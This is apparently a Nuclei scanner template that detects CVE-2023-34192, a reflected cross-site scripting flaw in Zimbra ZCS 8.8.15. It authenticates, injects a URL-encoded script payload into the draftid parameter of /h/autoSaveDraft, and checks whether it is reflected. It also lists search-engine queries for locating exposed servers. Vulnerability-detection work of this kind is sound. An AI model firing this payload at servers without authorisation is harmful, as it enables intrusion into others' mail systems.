id: CVE-2023-34192

info:
  name: Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    Cross Site Scripting vulnerability in Zimbra ZCS v.8.8.15 allows a remote authenticated attacker to execute arbitrary code via a crafted script to the /h/autoSaveDraft function.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite (ZCS).
  reference:
    - https://mp.weixin.qq.com/s/Vz8yL4xBlZN5EQQ_BG0OOA
    - https://www.helpnetsecurity.com/2023/07/17/cve-2023-34192/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-34192
  classification:
    cve-id: CVE-2023-34192
  metadata:
    max-request: 2
    shodan-query: http.favicon.hash:475145467
    fofa-query: icon_hash="475145467"
  tags: cve,cve2023,zimbra,xss,authenticated

http:
  - raw:
      - |
        POST /zimbra/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        loginOp=login&username={{username}}&password={{password}}&client=preferred
      - |
        GET /h/autoSaveDraft?draftid=aaaaaaaaaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cbbbbbbbb HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>alert(document.domain)</script>"
          - "zimbra"
        condition: and

      - type: word
        part: header_2
        words:
          - text/html

      - type: status
        part: header_2
        status:
          - 200